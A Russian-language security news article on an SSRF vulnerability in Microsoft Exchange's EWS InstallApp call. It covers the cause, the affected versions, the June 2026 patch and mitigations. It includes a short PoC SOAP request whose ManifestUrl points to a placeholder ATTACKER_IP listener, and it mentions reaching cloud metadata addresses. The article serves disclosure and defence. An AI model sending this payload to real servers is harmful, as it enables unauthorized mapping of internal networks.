Опубликован Proof-of-Concept для SSRF-уязвимости в Microsoft Exchange Server через EWS InstallApp

Исследователи выпустили доказательство возможности эксплуатации уязвимости подделки запросов на стороне сервера (SSRF) в компоненте Exchange Web Services (EWS) почтового сервера Microsoft Exchange. Проблеме присвоен идентификатор CVE-2026-45502. Злоумышленник, имеющий аутентифицированный почтовый ящик, может заставить сервер отправлять HTTP-запросы к произвольным внутренним или внешним узлам. Угроза сохраняется для организаций, которые не установили обновления безопасности, выпущенные в июне 2026 года.

Детали уязвимости

Уязвимость затрагивает Exchange Server 2016 CU23, 2019 CU14 и CU15, а также версию Exchange Server Subscription Edition RTM. Атака возможна через манипуляцию параметром ManifestUrl в SOAP-вызове InstallApp. Microsoft оценила уязвимость средним уровнем опасности. По шкале CVSS 3.1 она получила 5,0 баллов - вектор атаки сетевой, сложность низкая, привилегии минимальны, взаимодействия с пользователем не требуется, при этом есть изменение области действия с ограниченным влиянием на конфиденциальность. Более детальная оценка CVSS 4.0 дала уже 2,3 балла (низкий), но в бюллетене компании отмечается, что при определённых сетевых конфигурациях риски могут быть выше. Информацию об этом распространила компания Aretiq, специализирующаяся на анализе защищённости.

# Minimal PoC sketch (for lab validation only)

soap_body = """

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"

xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">

<soap:Body>

<m:InstallApp>

<m:ManifestUrl>http://ATTACKER_IP:8888/ssrf-test</m:ManifestUrl>

</m:InstallApp>

</soap:Body>

</soap:Envelope>

"""

# Send SOAP body to https://EXCHANGE/EWS/Exchange.asmx with authenticated EWS request

Корень проблемы - недостаточная проверка URL в процедуре SynchronousDownloadData.DownloadDataFromUri(). Этот метод обрабатывает пользовательские значения ManifestUrl при установке надстроек (add-in) через EWS. В локальных развертываниях Exchange проверка на возможность SSRF внутри корпоративной сети оказалась привязана к флагу isBposUser, который предназначен для облачных сценариев и в локальной среде всегда имеет значение false. Из-за этой логической ошибки механизм блокировки внутренних адресов не срабатывает, и сервер начинает доверять произвольным адресам, передаваемым аутентифицированными пользователями.

Таким образом, Exchange превращается в сетевой прокси, способный обращаться к внутренним HTTP-сервисам, метаданным облачных провайдеров (например, по адресу 169.254.169.254) и другим защищённым ресурсам, которых сервер достигает за счёт своих расширенных сетевых привилегий. Хотя SSRF носит в основном "слепой" характер - исследователи не могут напрямую видеть тело ответа, - различие в кодах ошибок, поведении и таймингах позволяет надёжно картировать внутреннюю инфраструктуру и определять доступность хостов. Это открывает путь для внутренней разведки и, потенциально, для комбинирования с другими уязвимостями.

Чтобы подтвердить эксплуатируемость, специалисты опубликовали PoC-сценарий. Он сводится к запуску простого HTTP-слушателя и отправке сформированного SOAP-запроса InstallApp с ManifestUrl, указывающим на этот слушатель. Если сервер уязвим, он инициирует обратное соединение - HTTP GET к указанному адресу, часто с добавлением корреляционного параметра corr=<guid>. В исправленной версии запрос отклоняется ещё до попытки установки исходящего соединения. Сам PoC-фрагмент приведён в минимальном псевдокоде и не содержит средств автоматической атаки, но сам факт его публикации повышает вероятность сканирования и применения эксплойта в тестах на проникновение, особенно в средах, где Exchange имеет широкий доступ к внутренним сегментам сети.

Microsoft устранила уязвимость CVE-2026-45502 в рамках "вторника обновлений" 9 июня 2026 года. Для Exchange Server Subscription Edition выпущено обновление KB5094139; для Exchange 2016 и 2019 - соответствующие накопительные патчи. Вместо логики, завязанной на isBposUser, внедрён механизм, контролируемый через функциональные флаги (feature flag), который включает проверку ManifestUrlValidation для всех развёртываний. Дополнительно добавлен белый список ManifestUrlCheck. По умолчанию в него включены только доверенные источники, такие как officeclient.microsoft.com. Администраторы могут добавлять собственные записи.

Организациям следует проверить, что установленные сборки Exchange соответствуют исправленным версиям, указанным в бюллетене Microsoft и рекомендациях сторонних поставщиков. Любая версия ниже этих сборок должна считаться уязвимой до установки обновления. Кроме того, администраторам безопасности рекомендуется ограничить исходящие соединения с серверов Exchange, отслеживать аномальный HTTP-трафик от них во внутренние сети или к необычным внешним узлам, а также ужесточить контроль доступа к конечным точкам EWS - поскольку для атаки всё ещё необходимы действительные учётные данные.

Публикация рабочего PoC-кода для SSRF в одном из самых распространённых корпоративных почтовых решений - напоминание о том, что даже уязвимости со средним или низким рейтингом CVSS могут представлять серьёзную угрозу при определённых условиях сетевой архитектуры. Логические ошибки в проверке ввода, как в случае с флагом isBposUser, нередко остаются незамеченными в коде, который переходит из облачных сценариев в локальные развертывания. Фиксация этой проблемы через переход к белым спискам и функциональным флагам - показатель того, что Microsoft корректирует подход к контролю над SSRF в своих продуктах. Для пользователей главный вывод один: не откладывать установку патчей июня 2026 года, особенно если Exchange имеет привилегированный доступ к внутренним ресурсам.

Детали уязвимости

Ссылки